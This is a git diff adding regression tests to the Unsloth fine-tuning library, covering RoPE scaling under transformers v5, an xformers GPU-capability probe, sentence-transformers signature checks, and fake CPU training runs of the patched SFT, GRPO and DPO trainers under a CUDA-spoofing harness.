+    from types import SimpleNamespace
+
+    from unsloth.models.llama import LlamaExtendedRotaryEmbedding
+
+    rot = object.__new__(LlamaExtendedRotaryEmbedding)
+    rot.base = ROPE_THETA
+    rot.dim = HEAD_DIM
+    rot._unsloth_rope_config = SimpleNamespace(
+        rope_scaling = {
+            "rope_type": "llama3",
+            "factor": 32.0,
+            "low_freq_factor": 1.0,
+            "high_freq_factor": 4.0,
+            "original_max_position_embeddings": 8192,
+        }
+    )
+    vanilla = _vanilla_inv_freq()
+    scaled = rot._apply_inv_freq_scaling(vanilla).reshape(-1)
+    ratio = float(vanilla[-1]) / float(scaled[-1])
+    assert abs(ratio - 32.0) < 1e-3, (
+        f"LlamaExtendedRotaryEmbedding ignored config factor 32 (ratio {ratio}); the "
+        "low-frequency band must be divided by the config factor (issue #2405)."
+    )
+
+
+def test_extended_rotary_reads_rope_parameters_v5():
+    # transformers v5 stores scaling under rope_parameters (rope_scaling is a
+    # back-compat shim that may be removed); the factor must still be read.
+    from types import SimpleNamespace
+
+    from unsloth.models.llama import LlamaExtendedRotaryEmbedding
+
+    rot = object.__new__(LlamaExtendedRotaryEmbedding)
+    rot.base = ROPE_THETA
+    rot.dim = HEAD_DIM
+    rot._unsloth_rope_config = SimpleNamespace(
+        rope_scaling = None,
+        rope_parameters = {
+            "rope_type": "llama3",
+            "factor": 32.0,
+            "low_freq_factor": 1.0,
+            "high_freq_factor": 4.0,
+            "original_max_position_embeddings": 8192,
+        },
+    )
+    vanilla = _vanilla_inv_freq()
+    scaled = rot._apply_inv_freq_scaling(vanilla).reshape(-1)
+    ratio = float(vanilla[-1]) / float(scaled[-1])
+    assert abs(ratio - 32.0) < 1e-3, (
+        f"Extended rotary ignored rope_parameters factor 32 (ratio {ratio}); v5 "
+        "keeps the factor under rope_parameters, not rope_scaling."
+    )
+
+
 def _cos_at_position(rot, position):
     """cos row at one position, built like _set_cos_sin_cache but CPU-only."""
     inv_freq = rot.inv_freq.float().cpu()
@@ -256,6 +414,87 @@ def test_extended_cache_keeps_scaling_after_growth():
     )
 
 
+def _blank_nonpersistent_buffers(module):
+    """Mimic transformers v5 meta-load: overwrite non-persistent buffers with garbage."""
+    for name, buf in list(module.named_buffers()):
+        leaf = module
+        *parents, attr = name.split(".")
+        for part in parents:
+            leaf = getattr(leaf, part)
+        if attr in getattr(leaf, "_non_persistent_buffers_set", set()):
+            setattr(leaf, attr, torch.rand_like(buf))
+
+
+def _build_llama3_rotary():
+    from unsloth.models import llama as llama_mod
+    config = _make_config(LLAMA3_ROPE_SCALING)
+    return llama_mod.LlamaRotaryEmbedding(config = config), config
+
+
+def _build_longrope_rotary():
+    from types import SimpleNamespace
+
+    from unsloth.models import llama as llama_mod
+
+    short_factor, long_factor = [1.05] * 48, [1.3] * 48
+    rot = llama_mod.LongRopeRotaryEmbedding(
+        dim = 96,
+        max_position_embeddings = 131072,
+        original_max_position_embeddings = 4096,
+        base = ROPE_THETA,
+        short_factor = short_factor,
+        long_factor = long_factor,
+    )
+    config = SimpleNamespace(
+        rope_scaling = {
+            "rope_type": "longrope",
+            "short_factor": short_factor,
+            "long_factor": long_factor,
+            "original_max_position_embeddings": 4096,
+        }
+    )
+    return rot, config
+
+
+@requires_cuda
+@pytest.mark.parametrize(
+    "build", [_build_llama3_rotary, _build_longrope_rotary], ids = ["llama3", "longrope"]
+)
+def test_v5_blank_repair_roundtrip(build):
+    # Build scaled -> blank non-persistent buffers (what transformers v5 does on
+    # load) -> run the repair -> every buffer must return to its scaled value.
+    # Family-agnostic: encodes no scaling math, so it guards any rotary that
+    # keeps scaling in a buffer (issue #2405 / PR #6907).
+    from unsloth.models import loader
+
+    # The repair only runs on transformers v5 (it is what blanks the buffers);
+    # on v4 _fix_rope_inv_freq is a no-op, so the round-trip cannot restore.
+    if not loader._NEEDS_ROPE_FIX:
+        pytest.skip("transformers < 5 does not blank rope buffers; repair is a no-op")
+
+    rot, config = build()
+    snapshot = {name: buf.detach().clone() for name, buf in rot.named_buffers()}
+    assert snapshot, "rotary registers no buffers; nothing to guard"
+
+    _blank_nonpersistent_buffers(rot)
+    assert any(
+        not torch.equal(rot.get_buffer(name), snapshot[name]) for name in snapshot
+    ), "blanking changed no buffer; the round-trip would be vacuous"
+
+    wrapper = torch.nn.Module()
+    wrapper.add_module("rotary_emb", rot)
+    wrapper.config = config
+    loader._fix_rope_inv_freq(wrapper)
+
+    for name in snapshot:
+        assert torch.allclose(
+            rot.get_buffer(name).cpu(), snapshot[name].cpu(), rtol = 1e-4, atol = 1e-6
+        ), (
+            f"{name} was not restored to its scaled value by loader._fix_rope_inv_freq "
+            "after the transformers v5 buffer blank (issue #2405 / PR #6907)."
+        )
+
+
 def test_object_style_rope_scaling_does_not_crash():
     # Object-style rope_scaling must be normalized, not .get()'d directly.
     from dataclasses import dataclass
diff --git a/tests/utils/test_xformers_capability_gate.py b/tests/utils/test_xformers_capability_gate.py
new file mode 100644
index 0000000000..7514c623e3
--- /dev/null
+++ b/tests/utils/test_xformers_capability_gate.py
@@ -0,0 +1,102 @@
+"""Regression test for unslothai/unsloth#4631: xformers must not be blanket-disabled
+on sm_120 GPUs where its kernel actually runs (a ~57% attention-memory saving over the
+SDPA packed-mask fallback). The gate now probes the real op instead of guessing by the
+compute-capability major version."""
+
+import pytest
+import torch
+import unsloth  # noqa: F401
+
+from unsloth.utils import attention_dispatch as ad
+
+
+@pytest.mark.parametrize(
+    "capability, probe_result, expect_disabled",
+    [
+        ((8, 9), None, False),  # Ada: below sm_120, never probed, always kept
+        ((9, 0), None, False),  # Hopper: below sm_120, kept
+        ((10, 0), None, False),  # Blackwell B200 (sm_100): below sm_120, kept
+        ((12, 0), True, False),  # sm_120 where the kernel runs: keep xformers
+        ((12, 0), False, True),  # sm_120 where the kernel can't run: fall back to SDPA
+    ],
+)
+def test_capability_gate(capability, probe_result, expect_disabled):
+    calls = {"n": 0}
+
+    def probe():
+        calls["n"] += 1
+        return probe_result
+
+    assert ad._xformers_disabled_for_capability(capability, probe = probe) is expect_disabled
+    # Below sm_120 the probe must not run at all (no import-time kernel launch there).
+    assert calls["n"] == (0 if capability[0] < 12 else 1)
+
+
+@pytest.mark.skipif(
+    not (torch.cuda.is_available() and ad.HAS_XFORMERS),
+    reason = "needs a CUDA GPU with a working xformers build",
+)
+@pytest.mark.skipif(
+    torch.cuda.is_available() and torch.cuda.get_device_capability()[0] >= 12,
+    reason = "on real sm_120+ the probe legitimately returns False when the build ships no "
+    "sm_120 kernel, so asserting True there would be a false failure",
+)
+def test_probe_shapes_are_valid_on_working_gpu():
+    # Guards against a malformed probe that raises on every GPU and would silently
+    # disable xformers on Blackwell even where it works. On a pre-sm_120 GPU with a
+    # functional xformers the real probe must succeed; sm_120+ is skipped above because
+    # there a False is a correct answer, not a malformed probe.
+    assert ad._xformers_runs_on_device() is True
+
+
+@pytest.mark.parametrize(
+    "supports_bf16, expected_dtype",
+    [(True, torch.bfloat16), (False, torch.float16)],
+)
+def test_probe_dtype_follows_bf16_support(monkeypatch, supports_bf16, expected_dtype):
+    # Pre-Ampere GPUs (sm < 80: Turing/Volta, e.g. T4/V100) run xformers fine in
+    # float16 but have no bfloat16 attention kernel, so a hardcoded bf16 probe would
+    # raise there, get swallowed to False, and misreport a working xformers as broken.
+    # The probe must pick its dtype from SUPPORTS_BFLOAT16 (no Turing GPU needed here).
+    captured = {}
+
+    def fake_zeros(
+        *args,
+        dtype = None,
+        **kwargs,
+    ):
+        captured["dtype"] = dtype
+        raise RuntimeError("stop after capturing the probe dtype")
+
+    monkeypatch.setattr(ad, "SUPPORTS_BFLOAT16", supports_bf16)
+    monkeypatch.setattr(ad.torch, "zeros", fake_zeros)
+    ad._xformers_runs_on_device()  # RuntimeError is swallowed; only the dtype matters
+    assert captured["dtype"] is expected_dtype
+
+
+def test_probe_syncs_and_fails_on_deferred_async_error(monkeypatch):
+    # A CUDA kernel launch is async: xformers_attention can return before the GPU
+    # reports a failure. The probe must synchronize so a deferred launch/runtime error
+    # is caught and disables xformers here, instead of surfacing later on an unrelated
+    # CUDA call (unslothai/unsloth#6828 review). No GPU needed: everything is stubbed.
+    _bias = type(
+        "B",
+        (),
+        {
+            "BlockDiagonalCausalMask": type(
+                "M", (), {"from_seqlens": staticmethod(lambda seqlens: None)}
+            )
+        },
+    )
+    monkeypatch.setattr(ad, "SUPPORTS_BFLOAT16", True)
+    monkeypatch.setattr(ad.torch, "zeros", lambda *a, **k: object())
+    monkeypatch.setattr(ad, "xformers", type("X", (), {"attn_bias": _bias}))
+    monkeypatch.setattr(ad, "xformers_attention", lambda *a, **k: None)  # "succeeds"
+
+    def deferred_cuda_error():
+        raise RuntimeError("CUDA error: an illegal memory access was encountered")
+
+    monkeypatch.setattr(ad.torch.cuda, "synchronize", deferred_cuda_error)
+    # Without the synchronize the stubbed op returns cleanly and the probe wrongly
+    # reports True; the sync surfaces the deferred error so the probe returns False.
+    assert ad._xformers_runs_on_device() is False
diff --git a/tests/version_compat/test_sentence_transformers_pinned_symbols.py b/tests/version_compat/test_sentence_transformers_pinned_symbols.py
index c0c35b9d5d..d7f9a54811 100644
--- a/tests/version_compat/test_sentence_transformers_pinned_symbols.py
+++ b/tests/version_compat/test_sentence_transformers_pinned_symbols.py
@@ -19,6 +19,8 @@ ST_TAGS = [
     "v5.2.3",
     "v5.3.0",
     "v5.4.1",
+    "v5.5.1",
+    "v5.6.0",
     "master",
 ]
 
@@ -120,6 +122,42 @@ def test_st_transformer_base_class_either_path(tag: str):
     )
 
 
+# Transformer.load classmethod: unsloth builds saved-ST modules through it (#6881).
+@pytest.mark.parametrize("tag", ST_TAGS)
+def test_st_transformer_load_accepts_unsloth_kwargs(tag: str):
+    """unsloth builds saved ST models via Transformer.load(...) so the saved
+    modality_config is honored (#6881). If .load stops accepting the hub kwargs it
+    passes (and has no **kwargs), update the fix before it silently regresses. Not
+    locating .load is a SKIP (may be inherited); the live test guards the install."""
+    candidates = [
+        "sentence_transformers/models/Transformer.py",
+        "sentence_transformers/models/transformer.py",
+        "sentence_transformers/base/modules/transformer.py",
+        "sentence_transformers/base/modules/module.py",
+    ]
+    for p in candidates:
+        src = fetch_text("UKPLab/sentence-transformers", tag, p)
+        if src is None or not has_def(src, "load", "func"):
+            continue
+        m = re.search(r"def\s+load\s*\((.*?)\)\s*(?:->[^:]*)?:", src, re.S)
+        if m is None:
+            continue
+        sig = m.group(1)
+        accepts_var_kw = "**" in sig
+        missing = [
+            kw
+            for kw in ("token", "cache_folder", "revision", "trust_remote_code")
+            if not (accepts_var_kw or re.search(rf"\b{re.escape(kw)}\b", sig))
+        ]
+        assert not missing, (
+            f"{tag}: Transformer.load in {p} no longer accepts {missing} and has no "
+            f"**kwargs; update unsloth.models.sentence_transformer._create_transformer_module "
+            f"(#6881) before it silently falls back to Transformer(...)."
+        )
+        return
+    pytest.skip(f"{tag}: Transformer.load not locatable in {candidates} (may be inherited)")
+
+
 # sentence_transformers.util: import_from_string + load_dir_path helpers unsloth calls.
 @pytest.mark.parametrize("tag", ST_TAGS)
 def test_st_util_helpers(tag: str):
diff --git a/tests/version_compat/test_trl_fake_train_cpu.py b/tests/version_compat/test_trl_fake_train_cpu.py
new file mode 100644
index 0000000000..2f7b469428
--- /dev/null
+++ b/tests/version_compat/test_trl_fake_train_cpu.py
@@ -0,0 +1,321 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""Fake CPU training runs for the Unsloth-patched SFT / GRPO / DPO trainers.
+
+The patch-run canary (test_trl_grpo_fake_run.py) only compiles + inspects the
+generated trainer source. This goes one layer deeper: it actually runs
+`trainer.train()` for a couple of steps on a CPU-only runner, under the CUDA
+spoof, wrapping a plain (tiny, random-weight) HF model in the Unsloth-patched
+trainer. That exercises the real train() loop at runtime -- data collation,
+generation (GRPO), the injected `_get_per_token_logps_and_entropies`, loss,
+backward, optimizer -- so a TRL or transformers change that breaks the loop
+(not just the source structure) surfaces here. No GPU, no meaningful numerics.
+
+What it does NOT cover: Unsloth's Triton/GPU-optimized model kernels (the
+FastLanguageModel fast path) cannot run on CPU, so this validates the
+trainer-transform + orchestration layer with a standard forward, not the
+optimized kernels.
+"""
+
+from __future__ import annotations
+
+import os
+
+# CPU-only: no torch.compile / dynamo (it reaches into the CUDA accelerator), no
+# Unsloth kernel compile, no mixed precision. Must be set before torch/unsloth.
+os.environ.setdefault("UNSLOTH_COMPILE_DISABLE", "1")
+os.environ.setdefault("TORCHDYNAMO_DISABLE", "1")
+os.environ.setdefault("TORCH_COMPILE_DISABLE", "1")
+os.environ.setdefault("ACCELERATE_MIXED_PRECISION", "no")
+
+import importlib
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+
+# torch is needed for everything below (daily-fresh-fetch collects this dir with
+# only pytest installed); skip the whole module cleanly when it is absent.
+if importlib.util.find_spec("torch") is None:
+    pytest.skip(
+        "torch not installed; fake CPU train needs the real runtime", allow_module_level = True
+    )
+
+# Apply the CUDA spoof before any unsloth-touching import.
+_SPOOF_DIR = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(_SPOOF_DIR))
+import _zoo_aggressive_cuda_spoof as _spoof  # noqa: E402
+
+_spoof.apply()
+
+import torch  # noqa: E402
+
+
+# The generated GRPO trainer hard-decorates hot functions with @torch.compile,
+# which dynamo processes even under the disable env vars, reaching into
+# torch.accelerator (real CUDA) on a GPU-less box. Make torch.compile an eager
+# passthrough before unsloth generates/imports the trainer -- same logic, no
+# dynamo. (An eager CPU run is exactly what we want here.)
+def _eager_compile(
+    model = None,
+    *args,
+    **kwargs,
+):
+    if callable(model):
+        return model
+    return lambda fn: fn
+
+
+torch.compile = _eager_compile
+
+# Belt-and-suspenders: if any @torch.compile still routes through dynamo, let it
+# fall back to eager instead of crashing, and stop its stream-capture probe from
+# reaching torch.accelerator -> real CUDA on a GPU-less box.
+try:
+    import torch._dynamo  # noqa: E402
+    torch._dynamo.config.suppress_errors = True
+except Exception:
+    pass
+if hasattr(torch, "accelerator"):
+    torch.accelerator.is_available = lambda *a, **k: False
+
+
+# Redirect any `device="cuda"` tensor allocation / `.to("cuda")` / `.cuda()` to
+# CPU. The aggressive spoof deliberately keeps real allocators, but a fake CPU
+# train needs cuda-targeted ops (e.g. inductor's init_gpu_context does
+# `torch.empty(1, device="cuda")`) to land on CPU instead of erroring.
+def _is_cuda_dev(d):
+    try:
+        return d is not None and torch.device(d).type == "cuda"
+    except Exception:
+        return False
+
+
+for _name in (
+    "empty",
+    "zeros",
+    "ones",
+    "full",
+    "tensor",
+    "arange",
+    "randn",
+    "rand",
+    "randint",
+    "empty_like",
+    "zeros_like",
+    "ones_like",
+):
+    _orig = getattr(torch, _name, None)
+    if _orig is None:
+        continue
+
+    def _redir(
+        *args,
+        _orig = _orig,
+        **kwargs,
+    ):
+        if _is_cuda_dev(kwargs.get("device")):
+            kwargs["device"] = "cpu"
+        return _orig(*args, **kwargs)
+
+    setattr(torch, _name, _redir)
+
+_orig_to = torch.Tensor.to
+
+
+def _to_cpu(self, *args, **kwargs):
+    args = tuple("cpu" if _is_cuda_dev(a) else a for a in args)
+    if _is_cuda_dev(kwargs.get("device")):
+        kwargs["device"] = "cpu"
+    return _orig_to(self, *args, **kwargs)
+
+
+torch.Tensor.to = _to_cpu
+torch.Tensor.cuda = lambda self, *a, **k: self
+
+# Extra CUDA stubs the aggressive spoof lacks, needed to walk a real train():
+# Adam's _cuda_graph_capture_health_check() probes stream capture.
+torch.cuda.is_current_stream_capturing = lambda *a, **k: False
+try:
+    import torch.cuda.graphs as _cg  # noqa: E402
+    _cg._cuda_isCurrentStreamCapturing = lambda *a, **k: False
+except Exception:
+    pass
+
+# A broken libmlx.so in the shared site-packages crashes transformers' Mac-only
+# is_mlx_array probe on Linux; disable it.
+try:
+    import transformers.utils.generic as _g  # noqa: E402
+    _g._is_mlx_available = False
+except Exception:
+    pass
+
+
+# Dense (non-MoE) tiny model on purpose: MoE models route through Unsloth's
+# grouped_gemm Triton kernel, which is CUDA-only and cannot run on a CPU runner.
+_MODEL = "hf-internal-testing/tiny-random-LlamaForCausalLM"
+
+
+def _guard_finite_logits(model):
+    """Keep the LM head logits finite so GRPO sampling can't crash.
+
+    ``test_grpo_trains_on_cpu`` samples completions from a tiny, *untrained*
+    random model on CPU. Driven autoregressively -- and nudged by the fake
+    reward's optimizer step between the two train steps -- such a model can emit
+    non-finite logits, so ``torch.multinomial`` inside ``generate()``
+    intermittently raises "probability tensor contains either `inf`, `nan` or
+    element < 0". That is a well-known nondeterministic sampling failure, not an
+    Unsloth/TRL regression: the Trainer already fixes the seed, but CPU reduction
+    order is not bit-reproducible, so the blow-up still surfaces every so often.
+
+    Sanitize the logits to a finite, bounded range (out of place, so autograd
+    stays valid) before they reach the sampler. This test asserts the train loop
+    runs end to end, not the (deliberately meaningless) numerics, so bounding the
+    logits changes nothing it checks while making the run reliable.
+    """
+
+    def _finite_logits_hook(_module, _inputs, output):
+        logits = getattr(output, "logits", None)
+        if logits is None:
+            return output
+        # nan_to_num maps nan -> 0 and the infinities to large finite values;
+        # clamp then bounds everything to [-30, 30].
+        output.logits = torch.nan_to_num(logits).clamp(-30.0, 30.0)
+        return output
+
+    model.register_forward_hook(_finite_logits_hook)
+    return model
+
+
+def _load_plain():
+    """Tiny plain HF model + tokenizer on CPU. Skips (not fails) if the model
+    cannot be fetched -- that is a network/hub issue, not an unsloth regression."""
+    from transformers import AutoModelForCausalLM, AutoTokenizer
+
+    try:
+        tok = AutoTokenizer.from_pretrained(_MODEL)
+        model = AutoModelForCausalLM.from_pretrained(_MODEL, dtype = torch.float32)
+    except OSError as e:  # hub unreachable / model missing
+        pytest.skip(f"could not fetch {_MODEL} (network/hub): {str(e)[:150]}")
+    if tok.pad_token is None:
+        tok.pad_token = tok.eos_token
+    # Unsloth's GRPO path calls model.for_training()/for_inference() (added by
+    # FastLanguageModel). A plain HF model lacks them; supply minimal train/eval
+    # equivalents so the loop proceeds without the optimized wrapper.
+    if not hasattr(model, "for_training"):
+        model.for_training = lambda *a, **k: model.train()
+    if not hasattr(model, "for_inference"):
+        model.for_inference = lambda *a, **k: model.eval()
+    return model.to("cpu"), tok
+
+
+@pytest.fixture(autouse = True)
+def _require_stack():
+    global torch  # the `import torch._dynamo` below would otherwise shadow it as local
+    if importlib.util.find_spec("unsloth") is None or importlib.util.find_spec("trl") is None:
+        pytest.skip("unsloth or trl not installed")
+    # A real import failure is a regression we want to surface, so do not guard it.
+    import unsloth  # noqa: F401  -- patches TRL trainers to the Unsloth variants
+
+    # `import unsloth` reinstalls the real torch.compile (overwriting the eager
+    # passthrough set at module load), so the GRPO hot path (chunked_selective_
+    # log_softmax) would really compile -- and inductor picks the spoofed CUDA
+    # device, crashing on device props (`gcnArchName`). Re-apply the eager
+    # passthrough and flip dynamo's call-time kill switch so every @torch.compile
+    # runs eager regardless of when it was decorated. CPU eager is what we want.
+    torch.compile = _eager_compile
+    try:
+        import torch._dynamo  # noqa: E402
+        torch._dynamo.config.disable = True
+    except Exception:
+        pass
+
+
+def test_sft_trains_on_cpu(tmp_path):
+    from datasets import Dataset
+    from trl import SFTConfig, SFTTrainer
+
+    assert SFTTrainer.__name__ == "UnslothSFTTrainer", "SFT patch did not apply"
+    model, tok = _load_plain()
+    ds = Dataset.from_list([{"text": "The quick brown fox jumps over the lazy dog."}] * 8)
+    cfg = SFTConfig(
+        output_dir = str(tmp_path / "ci_sft"),
+        per_device_train_batch_size = 2,
+        max_steps = 2,
+        logging_steps = 1,
+        report_to = "none",
+        save_strategy = "no",
+        use_cpu = True,
+        max_length = None,
+        padding_free = False,
+        dataset_text_field = "text",
+        fp16 = False,
+        bf16 = False,
+        optim = "adamw_torch",
+    )
+    SFTTrainer(model = model, processing_class = tok, args = cfg, train_dataset = ds).train()
+
+
+def test_grpo_trains_on_cpu(tmp_path):
+    from datasets import Dataset
+    from trl import GRPOConfig, GRPOTrainer
+
+    assert GRPOTrainer.__name__ == "UnslothGRPOTrainer", "GRPO patch did not apply"
+    model, tok = _load_plain()
+    # GRPO is the only canary that autoregressively samples completions, so it is
+    # the only one that can hit the non-finite-logits multinomial crash. Install
+    # the guard here (not in _load_plain) so the SFT/DPO canaries keep asserting
+    # against the model's true, unclamped outputs.
+    _guard_finite_logits(model)
+    ds = Dataset.from_list([{"prompt": "hi there"}] * 4)
+    cfg = GRPOConfig(
+        output_dir = str(tmp_path / "ci_grpo"),
+        per_device_train_batch_size = 2,
+        num_generations = 2,
+        max_steps = 2,
+        max_completion_length = 8,
+        logging_steps = 1,
+        report_to = "none",
+        temperature = 1.0,
+        beta = 0.0,
+        save_strategy = "no",
+        use_cpu = True,
+        use_vllm = False,
+        fp16 = False,
+        bf16 = False,
+        optim = "adamw_torch",
+    )
+    GRPOTrainer(
+        model = model,
+        processing_class = tok,
+        reward_funcs = [lambda completions, **k: [float(len(c)) for c in completions]],
+        args = cfg,
+        train_dataset = ds,
+    ).train()
+
+
+def test_dpo_trains_on_cpu(tmp_path):
+    from datasets import Dataset
+    from trl import DPOConfig, DPOTrainer
+
+    assert DPOTrainer.__name__ == "UnslothDPOTrainer", "DPO patch did not apply"
+    model, tok = _load_plain()
+    ds = Dataset.from_list(
+        [{"prompt": "Hi", "chosen": " hello friend", "rejected": " go away"}] * 8
+    )
+    cfg = DPOConfig(
+        output_dir = str(tmp_path / "ci_dpo"),
+        per_device_train_batch_size = 2,
+        max_steps = 2,
+        logging_steps = 1,
+        report_to = "none",
+        save_strategy = "no",
+        use_cpu = True,
+        beta = 0.1,
+        fp16 = False,
+        bf16 = False,
+        optim = "adamw_torch",
+    )
+    DPOTrainer(model = model, processing_class = tok, args = cfg, train_dataset = ds).train()
diff --git a/tests/version_compat/test_trl_grpo_fake_run.py b/tests/version_compat/test_trl_grpo_fake_run.py
new file mode 100644
index 0000000000..c79c9955da
--- /dev/null
+++ b/tests/version_compat/test_trl_grpo_fake_run.py
@@ -0,0 +1,246 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""Fake-CUDA GRPO patch run against the *installed* TRL (CPU-only, no training).
+
+The static symbol/source-string canaries (test_trl_grpo_pinned_symbols.py)
+grep raw TRL source; they never execute unsloth's transforms. This test drives
+the real pipeline: under the aggressive CUDA spoof it imports unsloth and calls
+`_patch_trl_rl_trainers_impl`, which reads the installed GRPOTrainer via
+inspect.getsource, applies every rl.py/rl_replacements.py rewrite, and compiles
+the result into an UnslothGRPOTrainer. A structural TRL change that slips past
+the greps (e.g. TRL 1.7.0's 2->3-tuple return arity, or a restructured PEFT
+ref-adapter block) surfaces here as a transform error, a broken generated
+source, or a violated contract -- with no GPU and no training run.
+
+Meant to run in CI against `trl==latest` and `trl @ main` (see
+version-compat-ci.yml). The tests/conftest.py harness pre-loads device_type
+with DEVICE_COUNT=0 so unsloth's kernel init takes the CPU-safe path.
+"""
+
+from __future__ import annotations
+
+import ast
+import importlib
+import importlib.machinery
+import importlib.util
+import inspect
+import sys
+import types
+from pathlib import Path
+
+import pytest
+
+
+# daily-fresh-fetch collects tests/version_compat/ with only pytest installed;
+# the spoof and the rest of this module need the real torch runtime. Skip the
+# whole module cleanly when torch is absent rather than crashing collection.
+if importlib.util.find_spec("torch") is None:
+    pytest.skip("torch not installed; fake-run needs the real runtime", allow_module_level = True)
+
+# Apply the spoof BEFORE any unsloth-touching import (mirrors
+# tests/vllm_compat/test_extended_module_imports.py).
+_SPOOF_DIR = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(_SPOOF_DIR))
+import _zoo_aggressive_cuda_spoof as _spoof  # noqa: E402
+
+_spoof.apply()
+
+
+def _stub_module(name: str, attrs: dict | None = None) -> None:
+    if name in sys.modules:
+        return
+    m = types.ModuleType(name)
+    m.__spec__ = importlib.machinery.ModuleSpec(name = name, loader = None, origin = "<test stub>")
+    for k, v in (attrs or {}).items():
+        setattr(m, k, v)
+    sys.modules[name] = m
+
+
+_stub_module("torchcodec")
+
+
+def _trl_version():
+    import trl
+    from packaging.version import Version
+    return Version(trl.__version__.split("+")[0])
+
+
+def _patch_grpo_and_get_source() -> str:
+    """Run the GRPO patcher against the installed TRL and return the generated
+    UnslothGRPOTrainer source. Calls the impl (not the try/except wrapper) so a
+    transform/compile regression surfaces as a hard error instead of a silent
+    no-op."""
+    import trl.trainer.grpo_trainer as _g
+
+    from unsloth.models import rl as _rl
+
+    _rl._patch_trl_rl_trainers_impl("grpo_trainer")
+    patched = _g.GRPOTrainer
+    assert patched.__name__ == "UnslothGRPOTrainer", (
+        f"GRPO patch silently no-oped: trl.trainer.grpo_trainer.GRPOTrainer is "
+        f"{patched.__name__!r}, expected 'UnslothGRPOTrainer' (transform failed "
+        f"or dispatch key drifted on this TRL)"
+    )
+    # The transformed body (__init__ rewrites, injected per-token-logps) lives in
+    # the generated module's `_UnslothGRPOTrainer` base + module-level funcs, not
+    # the thin UnslothGRPOTrainer subclass -- read the whole generated module.
+    mod = inspect.getmodule(patched)
+    return inspect.getsource(mod) if mod is not None else inspect.getsource(patched)
+
+
+@pytest.fixture(scope = "module")
+def generated_grpo_source():
+    if importlib.util.find_spec("unsloth") is None:
+        pytest.skip("unsloth not installed")
+    if importlib.util.find_spec("trl") is None:
+        pytest.skip("trl not installed")
+    # Do NOT swallow import errors: unsloth is installed here, so a failing
+    # `import unsloth` is exactly the import-time TRL/transformers drift this
+    # canary must surface as a failure, not a skip.
+    import unsloth  # noqa: F401  -- _gpu_init bootstrap under spoof
+
+    return _patch_grpo_and_get_source()
+
+
+def test_grpo_patch_generates_valid_source(generated_grpo_source):
+    """The generated UnslothGRPOTrainer must be syntactically valid Python."""
+    ast.parse(generated_grpo_source)
+
+
+def test_grpo_patch_aux_fail_fast_injected(generated_grpo_source):
+    """TRL >= 1.7.0: rl.py injects a fail-fast for the unsupported MoE router
+    aux-loss opt-in right after `self.aux_loss_enabled = ...`."""
+    from packaging.version import Version
+
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("aux_loss_enabled / router_aux_loss_coef are TRL >= 1.7.0")
+    assert "does not compute the MoE router auxiliary loss" in generated_grpo_source, (
+        "aux fail-fast raise missing from generated trainer; rl.py's "
+        "aux_loss_enabled .replace() anchor did not match this TRL"
+    )
+
+
+def test_grpo_patch_three_tuple_return(generated_grpo_source):
+    """TRL >= 1.7.0 call sites unpack a 3-tuple from
+    _get_per_token_logps_and_entropies; the injected replacement must return
+    (logps, entropies, aux_loss)."""
+    from packaging.version import Version
+    if _trl_version() >= Version("1.7.0"):
+        assert "return logprobs.detach(), entropies, aux_loss" in generated_grpo_source, (
+            "3-tuple per-token-logps return missing; the arity version-gate in "
+            "rl_replacements.py did not emit the >=1.7.0 form"
+        )
+    else:
+        assert (
+            "return logprobs.detach(), entropies, aux_loss" not in generated_grpo_source
+        ), "2-tuple TRL got the 3-tuple return; arity gate mis-fired"
+
+
+def test_grpo_patch_preserves_grad_checkpointing_block(generated_grpo_source):
+    """The tightened PR #6904 PEFT regex must remove only the ref-adapter init,
+    not the following enable_input_require_grads gradient-checkpointing block."""
+    from packaging.version import Version
+
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("ref-adapter elif block is the TRL >= 1.7.0 shape")
+    assert "enable_input_require_grads" in generated_grpo_source, (
+        "gradient-checkpointing enable_input_require_grads() block was swallowed "
+        "by the PEFT-removal regex (over-reach regression)"
+    )
+
+
+def test_grpo_patch_neutralizes_ref_adapter_and_qlora_cast(generated_grpo_source):
+    """TRL >= 1.7.0: the ref-adapter copy and the hardcoded QLoRA bf16 cast must
+    both be gone from the generated trainer."""
+    from packaging.version import Version
+
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("targets the TRL >= 1.7.0 PEFT / _is_quantized_model shapes")
+    assert (
+        "ref_param.data.copy_(param.data)" not in generated_grpo_source
+    ), "TRL's PEFT ref-adapter init survived; rl.py peft_pattern re.sub no-oped"
+    assert (
+        "if _is_quantized_model:" not in generated_grpo_source
+    ), "TRL's hardcoded QLoRA bf16 cast survived; rl.py neutralization no-oped"
+
+
+# SFT / DPO: the same source-transform patcher runs on them (a fake patch run,
+# no training), so a structural TRL change can break generation. Assert the patch
+# produces a valid, importable Unsloth trainer AND that the shared QLoRA
+# `_is_quantized_model` bf16 cast is neutralized (TRL 1.7's spelling), which the
+# patcher applies to every trainer. Catches "and or others" beyond GRPO.
+
+
+def _patch_and_get_source(trainer_file: str, trainer_cls: str) -> str:
+    if importlib.util.find_spec("unsloth") is None or importlib.util.find_spec("trl") is None:
+        pytest.skip("unsloth or trl not installed")
+    # Let a real import failure fail the test (import-time drift is the target).
+    import unsloth  # noqa: F401
+    import trl.trainer  # noqa: F401
+
+    from unsloth.models import rl as _rl
+
+    _rl._patch_trl_rl_trainers_impl(trainer_file)
+    mod = importlib.import_module(f"trl.trainer.{trainer_file}")
+    patched = getattr(mod, trainer_cls)
+    assert patched.__name__ == f"Unsloth{trainer_cls}", (
+        f"{trainer_cls} patch silently no-oped on this TRL "
+        f"(got {patched.__name__!r}); source-transform dispatch drifted"
+    )
+    gen = inspect.getmodule(patched)
+    src = inspect.getsource(gen) if gen is not None else inspect.getsource(patched)
+    ast.parse(src)
+    return src
+
+
+def _assert_quantized_cast_neutralized(src: str, trainer_cls: str) -> None:
+    from packaging.version import Version
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("pre-1.7.0 spells the QLoRA cast differently (is_loaded_in_4bit)")
+    assert "if _is_quantized_model:" not in src, (
+        f"{trainer_cls}: TRL's hardcoded QLoRA bf16 cast survived; the shared "
+        f"rl.py `if _is_quantized_model:` -> `if False:` neutralization no-oped"
+    )
